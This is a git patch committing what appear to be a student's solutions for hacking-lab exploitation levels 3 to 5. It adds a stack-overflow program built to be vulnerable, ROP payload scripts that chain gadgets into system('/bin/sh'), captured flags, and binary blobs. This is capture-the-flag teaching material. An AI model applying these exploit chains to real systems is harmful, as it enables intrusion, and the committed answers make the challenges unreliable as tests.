From c823836626a1917e6a248859b0900fc032131f51 Mon Sep 17 00:00:00 2001 From: Eggert Jung Date: Tue, 6 Jan 2026 10:49:56 +0100 Subject: [PATCH] 5 --- 4/level3/test.sh | 8 ++++++++ 4/level4/test.sh | 9 +++++++++ 4/level5/flag.txt | 1 + 4/level5/input.txt | Bin 0 -> 78 bytes 4/level5/level5 | Bin 0 -> 16912 bytes 4/level5/level5.c | 17 +++++++++++++++++ 4/level5/test.sh | 15 +++++++++++++++ 7 files changed, 50 insertions(+) create mode 100755 4/level3/test.sh create mode 100755 4/level4/test.sh create mode 100644 4/level5/flag.txt create mode 100644 4/level5/input.txt create mode 100755 4/level5/level5 create mode 100644 4/level5/level5.c create mode 100755 4/level5/test.sh diff --git a/4/level3/test.sh b/4/level3/test.sh new file mode 100755 index 0000000..22c46e4 --- /dev/null +++ b/4/level3/test.sh @@ -0,0 +1,8 @@ +OLDFLAG="hacklab{w3lc0m3_t0_x86_64_explo1t4t1on_I0vGIviy}" +PADDING="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" +SAVERBP="\x90\xde\xff\xff\xff\x7f\x00\00" +GADGET1="\xc3\x12\x40\00\00\00\00\00" +CMDADDR="\x08\x20\x40\00\00\00\00\00" +CMDCALL="\x96\x11\x40\00\00\00\00\00" + +printf "$OLDFLAG\n$PADDING$SAVERBP$GADGET1$CMDADDR$CMDCALL\ncat flag.txt\n" > input.txt diff --git a/4/level4/test.sh b/4/level4/test.sh new file mode 100755 index 0000000..dc11693 --- /dev/null +++ b/4/level4/test.sh @@ -0,0 +1,9 @@ +OLDFLAG="hacklab{n3w_c4ll1ng_c0nv3nt1ons!_wYLVjeJr}" +PADDING="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" #32 +SAVERBP="\x90\xde\xff\xff\xff\x7f\x00\00" #kind of irrelevant +GADGET1="\xa4\x12\x40\00\00\00\00\00" #ret (for stack alignment) +GADGET2="\xa3\x12\x40\00\00\00\00\00" #pop rdi, ret +CMDADDR="\x08\x20\x40\00\00\00\00\00" +CMDCALL="\x96\x11\x40\00\00\00\00\00" + +printf "$OLDFLAG\n$PADDING$SAVERBP$GADGET1$GADGET2$CMDADDR$CMDCALL\ncat flag.txt\n" > input.txt diff --git a/4/level5/flag.txt b/4/level5/flag.txt new file mode 100644 index 0000000..edd5b55 --- /dev/null +++ b/4/level5/flag.txt @@ -0,0 +1 @@ +hacklab{thanks_mario_but_the_flag_is_on_another_server} diff --git a/4/level5/input.txt b/4/level5/input.txt new file mode 100644 index 0000000000000000000000000000000000000000..7779602ba0c94b65fde87d512ef0e924ba3732f7 GIT binary patch literal 78 tcmYdH#1AIi`~UxcJp)6tkOKnaA=2Z$ z+4s)7>x%^a0210c?Y?=xdGF24o0;92+nJ}jdb@*x07wYJb|CI}L|2e~2k5(7v5d9D zO`t;~tcN9t)ZnG76ry%a=-WX%LFiJJ3n3-FC`A<2UG!GP0SJ{65+%KbpmWrwS8Hun zC`4?Y^i&e_!1WXQB9~LBQ%~im*>*tF?FiEeE|^fK9{DB`v&AFZZ9Snn=QqGq^oS)r zjrBCv6MBa86Dt0sGSbz~{%jBF$PsT-jTj7?x&wIi?q|LGSzc%-%L}DEDD1mnr9Mf1 zeXQ4}DKpTX@o@8$fi*A8<5+oDirp*fQt+|t&ZNi}8C+2Tag zMEjPeEp4$vF4n3Ps9cl>^{HLE`vKeSBw_4E)fTImr}XpVr&WGIlnbP3`qUWXUS*!9=oP#~f(YQv4UJ$vg&e^RQ8h&wDtc7+>K+#T1! zsdm-mZ@v!Rhq#89H{69lH9It(8(=N;>AF&pen=G{e87VPw!;v)eG7~itpXIRR5}a8 zBc>hC6)h-C7A$iN3a0hQU~w1>gH()ymCRelSQ4do_4ah^G+JY=vCWt|GM3A7szF5v z@=s!_Sm^^*!Kw!1sXf0pA0@2Ye6s9{B(Az~AcE|08ku z^3ue&YA-eeB%V2G10I*dH&*0g-2`8D{DBJCVk|;=i#S3{4-8|(_eZ@XCF+I-b)-lKi9Xv z=k&>=D|ASlKBXyg`nd)j%BxqP%7?0aGsCg^#;36i07qY;iFjfg-K~|c5JXj8_8I}@ zbHhhxh8KkE8+ACLQ zyN}CdO#N>4)K@8WYTK=0fZ3;%zc2oo`qx(v#vh0uj6WDRoIa!csOJ$?{j$;%$(kR0 z5BMJNJ>Yx5_kiyK-vhn}d=K~@@IByr;FEeFpuR8y92iYnS}Lba=8D>*$*iSWIn7FD z9@3J7_>FA`m_wsEtz*)}r6UB^h3?Uj(zmJ0AC$|qwEn_ex%?8+$B{mO^d+R@NC*E~ zF29cSGSc%%ADAzfKa0yw`Zh`-@Yr4mOhf|fZme5+6mj|vNZ$yfsE-SHfX=!IVJ&#I zAtv9{?xZBV1~C6Vq!5mDhokq_FMo9DA=t6@?z=vB=cfp!d@^`_1Lbt25-5+S@p=wz z9wD$R961u)dDD{M6Ic@4_Kyh1a+^fE!;$XK50Ha*$e z5^HITwQjU=uZ6{Y2zTH{xt*PakTMx zcH?WHy(+%2|J*GvPpbu##%T@y3ABLNF?tRLp&sTue#R{n3fK7gDSEdvF3(lLKaY_B z?t35Qa#DU2y73BB@y{6Il&?IeNtVJSUV$opK8AR;@?WoBFDN@J!Ma_?m^)On^Rg0I zwWu9WA|8On?f4eUd;7z?3SZo>K2UZRw{I<0U=aNi;(fQ@w@%wsqx>MAl7liOMk)LPZ zk9YKTkyUk6W~fk9Wv0V5_-DVaI}gmzsT((FG(UY!%-6GYxp?7wd(w*tfplVetL5UG{7>8QlgS?oXK5XVrxaWijCI-tQ~8V{7EQw+sBdYY`{2q^KyOoA&6P#1cKBbQ7EU{C}xgw4;)RQ5#elAyDQon62}~pV`(%t zl0#c~BlB27YVa6(5MtEq*wJ0%@sl$22F4+a?>IZi{7=q_%6fs5m8`^x-ho#gUZOAa zL^&6!VVX0@^H{Jg7;);$d{WLw-YJ4iW+RJBf~i-$ntZFhWHYeVJ#sv;F`J zO8(yZf1mX`SWf2S$ExU)&%F9CAVz)_`@ruzd|9gCond<0{|6p@jrBFw@3YNR?hK20 z__0S{)&b)zs8=-Yh*$r(M_=C8$61ixr_Lbyg8d95&ic!`;utr){9hpQ-unNN^`-q} zJ_4Gp(JG2e#s31ojuFaV^yOT!oHyH|K;+HJ0K7d@fNJ^C`QZEvwv +#include + +char command[] = "/bin/sh"; + +int main(int argc, char **argv) { + // Disable output buffering. Not part of the challenge. + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + + char buffer[32]; + puts("What do you want to talk about?"); + fgets(buffer, 320, stdin); + system("echo Bye."); + return 0; +} diff --git a/4/level5/test.sh b/4/level5/test.sh new file mode 100755 index 0000000..2b1e0fd --- /dev/null +++ b/4/level5/test.sh @@ -0,0 +1,15 @@ +#ROP +#0x0000000000401283 : pop rdi ; ret + +#objdump +#0000000000404048 g O .data 0000000000000008 command + +OLDFLAG="hacklab{SSE_1n5truct10n5_n33d_spec14l_al1gnm3nt_UwT8mByQ}\n" +PADDING="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" #32 +SAVERBP="\x90\xde\xff\xff\xff\x7f\x00\00" #kind of irrelevant +GADGET1="\x84\x12\x40\00\00\00\00\00" #ret (for stack alignment) +GADGET2="\x83\x12\x40\00\00\00\00\00" #pop rdi, ret +CMDADDR="\x48\x40\x40\00\00\00\00\00" +CMDCALL="\x10\x12\x40\00\00\00\00\00" + +printf "$OLDFLAG$PADDING$SAVERBP$GADGET2$CMDADDR$CMDCALL\ncat flag.txt\n"